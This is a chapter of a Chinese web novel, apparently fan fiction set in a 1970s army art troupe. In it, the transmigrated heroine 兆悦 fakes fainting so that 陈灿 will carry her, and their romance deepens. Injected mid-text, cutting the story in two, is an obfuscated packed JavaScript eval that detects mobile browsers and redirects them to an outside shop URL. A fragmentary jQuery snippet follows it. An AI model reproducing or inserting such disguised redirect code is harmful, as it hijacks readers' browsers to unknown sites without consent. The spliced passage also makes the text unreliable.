刘予要归队的前一天晚上,拉着兆悦在营区的小路上走了一圈又一圈。晚风微凉,树影婆娑,两个姑娘手挽着手,像从前无数个日夜那样,无话不谈。
“我走之后,你可得照顾好自己。”刘予拍了拍她的手背,语气里全是不舍,“别总端着那副高冷样子,该笑就笑,该闹就闹。”
兆悦轻轻点头,鼻尖微微发酸。在这文工团里,她和谁都能维持体面,却只有在刘予面前,能彻底卸下所有防备,不用算计,不用推拉,不用伪装。
“知道了。”她轻声应着。
刘予却忽然停下脚步,转过身盯着她,眼神认真得很:“我跟你说正经的,陈灿那小子,我看是喜欢你的。”
兆悦心头微顿,没接话。
“我托我们部队跟文工团熟的男兵打听过了,”刘予压低声音,语气里带着几分笃定,“他家背景不一般,底子厚,人也不算坏,对你是真心上了心的。你别总吊着,也别太端着,该把握住就把握住。”
兆悦垂了垂眼,嘴角勾起一抹浅淡的笑意,随口应付:“好,我知道了,听你的。”
她嘴上应得轻快,心里却一片清明。
陈灿的背景,她比谁都清楚。昆明军区副司令的儿子,根正苗红,前途无量,这也是她最初将他定为目标的原因——安稳,可靠,能给她一个不必颠沛流离的后路。
可一路走来,她心里却渐渐多了几分迷茫。
她想要的从不止一份安稳的婚姻,她放不下笔,忘不了自己真正想做的事。靠近陈灿,更多是为自己铺路,可真到一步步走近,她却分不清,自己对他究竟有几分真心,几分算计。
她不想太早确定关系,更不想把自己困在一段婚姻里。
更何况,随着和萧穗子日渐熟悉,她敏锐地察觉到,萧穗子看向陈灿的眼神里,总藏着一丝不易察觉的关注。那是少女隐秘的心动,安静,克制,却真切存在。
她更怕的是剧情的惯性。
穿越前拉片看电影,她清清楚楚记得,原著里陈灿最终和郝淑雯走到了一起。哪怕她现在拼命改变,拼命靠近,万一到最后,命运还是会把一切拉回原路呢?
她付出了心思,推拉了许久,最后却只是一场徒劳。
这些心事,她没法对刘予说,只能藏在心底,化作一层淡淡的沉郁。
刘予走的那天,兆悦去送了。皮卡扬起尘土,刘予探出头挥手,身影越来越远,直到彻底消失在路的尽头。兆悦站在原地,心里空落落的。
宿舍里,沈一娣对她亲近,其他舍友相处也算和睦,就连林丁丁,面上也维持着客气友好。
可没有人能像刘予那样,让她完全放松,不必有任何顾忌。那份淡淡的失落,一直萦绕在她心头,散不去,也挥不开。
当天下午,分队长便正式安排兆悦到乐队进行钢琴伴奏。
新钢琴亮洁如新,琴键干净规整。兆悦走到琴前坐下,抬手落下的瞬间,流畅优美的旋律倾泻而出。
指尖跳跃,音律婉转,整首曲子一气呵成,没有半分卡顿。
排练厅里瞬间安静下来,随即响起低低的赞叹声。
所有人都看向她,眼里是毫不掩饰的惊艳与认可。
兆悦微微垂眸,却没有错过乐队方向那道灼热的目光。
陈灿就站在不远处,握着小号,眼神直直落在她身上,惊艳、欣赏、赞叹,混着一丝不易察觉的骄傲,毫无保留地映在眼底。
兆悦心里轻轻一动。
她早看出来了,陈灿骨子里是慕强的。
他欣赏优秀的人,会被能力出众的人吸引。她弹得一手好琴,舞跳得拔尖,本就足够耀眼,这也是他始终被她吸引的原因之一。
自此,两人便整日待在同一个空间里。
排练、休息、调试乐器,抬头不见低头见,相处的时间一下子多了起来。
陈灿会时不时看向钢琴旁的她,她也会在不经意间与他对视,目光相撞,又各自不动声色地移开。
暧昧在空气里悄悄蔓延,却始终停留在眉眼之间,没有再往前多走一步。
私下偶遇,会有一两句带着试探的对话;人群之中,会有暗戳戳的眼神往来。
瞒着所有人的拉扯,带着几分隐秘的刺激,却始终差了一把火候。
不过几日,便到了新年。
文工团不放假,所有人都留在团里过年。
但难得清闲几日,大家忙着大扫除,也商量着结伴出门走走,热闹归热闹,兆悦却始终觉得,她和陈灿之间,少了一个推进关系的契机。
彼此有好感,有拉扯,有心动,可远远没到非你不可的地步。
像是隔着一层薄薄的纸,谁都没有先伸手捅破的打算。
兆悦心里难免苦恼。
她怕时间来不及,怕剧情的力量太强,怕等到文工团变动的那一天,一切还是回到原点,陈灿依旧会走向郝淑雯。
可她又不甘心。
陈灿的家世、外形、性格,都是她最中意的类型,越是有难度,她心底那点胜负欲就越强烈。
她不信自己争不过既定的剧情,不信自己拿不下这个人。
大扫除那天,机会终于来了。
文工团上下全员出动,擦窗、扫地、整理道具,忙得热火朝天。兆悦拿着抹布擦窗台,眼角余光一直留意着不远处的陈灿。
她心里清楚,两人之间一直缺少肢体接触。
忽远忽近,眉眼官司,终究不如一次实实在在的靠近。
想要推进关系,必须跨出这一步。
兆悦不动声色地酝酿了片刻,忽然身子一软,手扶着额头,脚步虚浮,像是瞬间脱力一般,缓缓往下倒去。
“兆悦!”一声急促的呼喊响起,陈灿几乎是立刻冲了过来。
他二话不说,弯腰稳稳将她打横抱起,手臂收紧,动作急切又慌乱。
“你怎么样?是不是头晕?我送你去卫生队!”
兆悦顺势靠在他的胸膛,能清晰地听见他急促有力的心跳,鼻尖萦绕着他身上干净的皂角混着阳光的味道。
她闭着眼睛,一动不动,装作虚弱晕厥的样子。
陈灿抱着她,脚步飞快,往卫生队的方向赶。
一路上,他眉头紧锁,满脸担忧,连呼吸都带着急切。
走到僻静无人的小路,兆悦算着时机,悄悄掀开一点眼缝,偷偷看了他一眼。
就是这一眼,让陈灿瞬间僵住。
他怀里的人睫毛轻颤,眼神清澈,哪里有半分晕厥的样子,分明是装的。
紧绷的心弦一下子松了下来,慌乱褪去,取而代之的是一种异样的燥热。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309099|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他这才后知后觉地感受到,怀里的人有多轻、有多软。
手臂贴着她的腰,触感温热柔软;她的发丝轻轻扫过他的手腕,带着淡淡的香气;她的手无意识地轻搂着他的胳膊,指尖温软,像一片羽毛轻轻拂过心尖。
陈灿的耳根一点点红了。
他稳住心神,没有立刻把她放下,只是脚步慢了下来,低头看着她,声音带着几分无奈又几分好笑:“你装的?”
兆悦也不装了,抬手轻轻搂住他的脖子,声音软软的,带着点撒娇的意味:“我不想干活嘛。”
她不说自己是故意要他抱,只拿躲避劳动当借口,留足了进退的余地。
陈灿无奈地笑了一声,抱着她走到路边的木椅旁,轻轻将她放下。
“你这是逃避义务劳动。”他故意板起脸,语气却没有半分责备。
兆悦抬起双手,将两个手腕紧紧贴在一起,伸到他面前,眼底带着狡黠的笑意:“那你把我抓走好了。”
阳光落在她白皙的手腕上,纤细小巧。
陈灿心头一热,再也按捺不住,伸手轻轻握住了她叠在一起的双腕。
他一只手便能稳稳将她的手腕全部包住,掌心的温度透过肌肤传过去,带着清晰的触感。
“那我可就抓了。”他低声开口,眼神专注地落在她脸上。
就在这时,树梢上一群鸟忽然扑棱着翅膀飞起,发出一阵声响。
陈灿像是受惊一般,猛地松开手,飞快地收回了自己的手,耳根红得快要滴血。
两人对视一眼,又同时慌乱地移开目光,假装刚刚的一切都没有发生。
只有陈灿自己知道,他的手心烫得厉害,那柔软的触感,像是烙在了皮肤上,久久散不去。
回到排练厅,大扫除已经接近尾声。
有人喊着晚上大年三十,大家就在排练厅聚一聚,打牌、聊天、凑在一起守岁。在这个年代,没有太多娱乐方式,一群年轻人聚在一起,便是最好的热闹。
自从那次隐秘的肢体接触后,兆悦和陈灿之间,悄悄多了一层心照不宣的默契。
他们不再只在暗处对视,开始在人群里偶尔说上几句话。在旁人看来,他们只是关系渐渐熟络的队友,只有彼此知道,那层窗户纸,已经快要被捅破。
队里也就杨铮看得最清楚,陈灿是彻底栽在了兆悦身上。
从前郝淑雯主动找陈灿斗嘴、拌嘴,他总能你来我往,闹得热闹;可现在,郝淑雯再找他说话,他只是淡淡应几句,不再接茬,更不会主动逗闹,冷淡得十分明显。
新年那几天,家书和包裹陆续寄到文工团。
大家忙着拆信、看家书、给家里回信,分享着家乡的吃食与消息。
年代不算太平,新年也过得简单朴素,却也藏着年轻人独有的热闹。
年一过,春天便悄然而至。
寒风渐渐散去,气温一点点升高,身上的厚衣服一件件褪去,换上了轻薄的衣装。树枝抽出新芽,空气里多了几分温润的气息。
文工团的训练重新开始,旋律与舞步再次填满日常。
兆悦坐在钢琴前,指尖落在琴键上,抬头看向不远处的陈灿。
少年站在春光里,眉眼明亮,正不经意间看向她。
目光相撞,春风微动。